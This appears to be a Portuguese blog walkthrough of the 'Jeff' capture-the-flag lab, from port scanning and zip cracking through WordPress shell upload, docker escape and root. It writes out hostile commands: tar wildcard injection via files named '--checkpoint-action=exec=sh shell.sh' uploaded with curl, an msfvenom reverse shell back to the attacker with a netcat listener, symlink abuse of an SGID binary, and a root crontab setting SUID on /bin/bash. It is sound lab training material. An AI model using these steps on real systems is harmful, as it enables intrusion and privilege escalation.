Documentação: Jeff CTF

1. Escanenando portas

Eu comecei com um simples scan TCP pelo nmap, e pelo output do comando, não há nada além do normal.

nmap tcp scan from jeff ctf
Somente duas portas estão abertas, 22/tcp (rodando OpenSSH 7.6p1) e 80/tcp (rodando nginx).

2. Enumeração de Aplicação Web e Vhost

A página principal do servidor web aparenta estar completamente vazia, mas dando uma olhada no código fonte, podemos ver uma dica.

There's a hint at the webserver main page's source code! - Jeff CTF

Vamos adicionar jeff.thm para o nosso /etc/hosts.

Adding Jeff.thm to /etc/hosts - Jeff CTF

Nós podemos agora começar a procurar por subdomínios válidos e diretórios do servidor web. Para fazer isso, o gobuster atende às nossas necessidades.

Rodando o gobuster no modo vhost com a wordlist de DNS da seclists, fomos capazes de identificar um subdomínio válido: wordpress.jeff.thm. Não se esqueça de adicioná-lo ao arquivo de /etc/hosts, assim como foi feito anteriormente com o domínio jeff.thm

E, rodando o gobuster no modo dir (directory), com a wordlist média do dirbuster, acabamos encontrando 4 caminhos para seguir: /uploads, /admin, /assets, /backups

Não há nada de interessante na página principal de jeff.thm, em /uploads há um formulário de upload que faz absolutamente nada, /admin está totalmente vazio, /assets nos retorna o código 403 (Forbidden), nos deixando apenas com /backups.
Eu rodei o gobuster no modo dir com a mesma lista de palavras, mas atualizei o valor da url para http://jeff.thm/backups e adicionei uma opção para incluir extensões no final de cada palavra. As extensões que eu adicionei são extensões comuns para backup, como .tar, .zip, .rar, .7z e .bak, Depois de um certo tempo, achamos um arquivo de backup válido: http://jeff.thm/backups/backup.zip

Using gobuster against /backups on Jeff CTF

3. Crackeando Arquivo Encriptado de Backup

Nós podemos baixar o arquivo em /backups/backup.zip, mas não podemos dar unzip, porque está encriptado.

Trying to unzip a backup file, but getting error as it's encrypted and needs a password - Jeff CTF

Nós podemos usar JohnTheRipper e seus scripts para tentar quebrar essa senha. Como é um arquivo .zip, vamos usar o zip2john.py para convertê-lo a um formato que o john consegue entender.

Using john the ripper in order to crack an encrypted zip file - Jeff CTF

Senha válida para o arquivo .zip (CENSURADA).

Dando unzip no backup, depois de um tempo procurando, acabei achando uma senha válida no arquivo wpadmin.bak.

4. Exploração de Falhas WordPress

Usando a senha préviamente encontrada, nós conseguimos fazer login com o usuário “jeff” em wordpress.jeff.thm/wp-login.php

Depois de perceber que não é possível enviar uma shell reversa pelas maneiras mais comuns, como editar um arquivo php da configuração do tema, acabei encontrando uma solução interessante -> Links: Fonte // Download
Vá para plugins > add new > upload plugin > selecione o arquivo zip do plugin (link acima para baixar), instale-o e ative-o.

Nós poderíamos explorar essa falha manualmente, mas há um módulo no metasploit que faz isso automaticamente. Rode msfconsole na sua máquina, e siga as etapas abaixo.

Lembre-se de usar o IP da sua VPN quando for setar o LHOST

5. Escapando do Container Docker

Nós recebemos uma conexão de shell reversa, mas infelizmente estamos em um container docker. Podemos confirmar isso por várias maneiras, mas a mais comum é a presença do arquivo /.dockerenv.

Estamos logados como “www-data”, o usuário responsável pelo servidor web. Dando uma olhada em /var/www/hmtl, achamos um arquivo php interessante: /var/www/html/ftp_backup.php

O script está enviando arquivos para o servidor web na máquina fora do container, e podemos assumir que essa máquina está fazendo algo com os arquivos. Já que é um script de backup, talvez a máquina esteja comprimindo todos os arquivos dentro do diretório para criar um backup local. Sabendo disso, vamos tentar “TAR wildcard exploitation”.

1. Enumeração – Servidor FTP

[Máquina da vítima]$ curl -s -v -P – ‘ftp://backupmgr:[email protected]

2. Exploração – Tar

[Máquina da vítima]$ echo ” > ‘–checkpoint-action=exec=sh shell.sh’
[Máquina da vítima]$ echo ” > ‘–checkpoint=1’

Lembrando que deve estar em um diretório que você possa escrever, como /dev/shm.

3. Exploração – Gerando uma Shell

[Máquina do atacante]$ msfvenom -p cmd/unix/reverse_python lhost=IP-DA-SUA-VPN lport=1234 R

Então, copie o output e salve em “shell.sh” na máquina da vítima, ou use um servidor web em python e wget (ou curl) para transferir o arquivo.

4. Uploading

[Máquina da vítima]$ curl -T “–checkpoint-action=exec=sh shell.sh” -P – ‘ftp://backupmgr:[email protected]/files/’
[Máquina da vítima]$ curl -T “–checkpoint=1” -P – ‘ftp://backupmgr:[email protected]/files/’
[Máquina da vítima]$ curl -T shell.sh -P – ‘ftp://backupmgr:[email protected]/files/’
[Máquina da vítima]$ netcat -lvnp 1234

6. Escalonamento Horizontal de Privilégios

Existem dois usuários que possuem um diretório em /home, jeff e backupmgr (nós). Vamos procurar por arquivos que jeff possui.

We can transfer /opt/systools/systool (owned by jeff, and only readable by him and users with the group “pwman”) to our machine and analyze further using reverse engineering tools. As this appears to be a simple ELF executable, let’s simply use the tool “strings”.

Podemos transferir /opt/systools/systool (pertencido por “jeff”, e somente legível por ele e por usuários com o grupo “pwman”) para a nossa máquina e analisar mais profundamente usando ferramentas de engenharia reversa. Como isso parece ser um simples executável ELF, vamos usar a ferramenta “strings”

O script abre “message.txt” todas as vezes que a opção 2 é escolhida. As permissões desse binário são peculiares, há um bit SGID configurado, e isso significa que podemos rodar esse binário com as permissões do grupo pwman. Interessante.

Permissão SGID fora do normal (configurado em /opt/systools/systool). Além do mais, o grupo "pwman" é dono do arquivo /var/backups/jeff.bak

[Máquina da vítima]$ cd /opt/systools
[Máquina da vítima]$ rm message.txt
[Máquina da vítima]$ ln -s /var/backups/jeff.bak message.txt
[Máquina da vítima]$ ./systool
Choose your option: 2

Fazendo isso, podemos efetuar o login como “jeff” usando sua senha, rodando $su jeff
A flag de usuário não está em formato de hash. Execute:
$ echo -n FLAG | md5sum

7. Escalonamento Vertical de Privilégios

Já que nós temos a senha de “jeff”, vamos verificar se ele pode rodar algo como outro usuário, talvez até mesmo root.

"jeff" pode rodar crontab como root!

Parece que existem algumas restrições e alguns comandos estão retornando erros. Vamos usar python pra burlar essas restrições.

Existem várias maneiras que podemos usar para abusar do crontab, mas eu escolhei criar um script malicioso em python em /dev/shm, que irá executar um comando de sistema (chmod +s /bin/bash), me dando permissões para rodar /bin/bash com permissões de root.

É meio instável utilizar editores de texto dentro de shells como essa, então usei a técnica do cat EOF.

[Máquina da vítima]$ sudo crontab -e
1. Desça até o final
2. Pressione: I
3. Cole isso: * * * * * /usr/bin/python3 /dev/shm/script.py
4. Pressione: Esc, então : e digite wq! para salvar e sair
5. Espere em torno de 1 minuto e execute:
[Máquina da vítima]$ /bin/bash -p

Conclusão

Máquina muito legal, que cobriu um monte de tópicos interessantes. Levei muito tempo para completar o desafio, testando minha mentalidade de “Tryhard”. No geral, o Jeff CTF é altamente recomendado para quem quer melhorar suas habilidades de hacking de uma maneira divertida e interativa.

Esperamos que você tenha achado nosso conteúdo útil e convidamos você a explorar mais do nosso site para descobrir outros tópicos interessantes que abordamos. Da segurança cibernética à programação, nos esforçamos para fornecer aos nossos leitores as informações mais recentes e relevantes que podem ajudá-los a se manterem informados e à frente da curva. Estamos empenhados em fornecer a melhor experiência de usuário para você e estamos abertos a comentários e sugestões através do nosso formulário de contato. Obrigado por escolher BehindSecurity, esperamos vê-lo novamente em breve!

Rolar para cima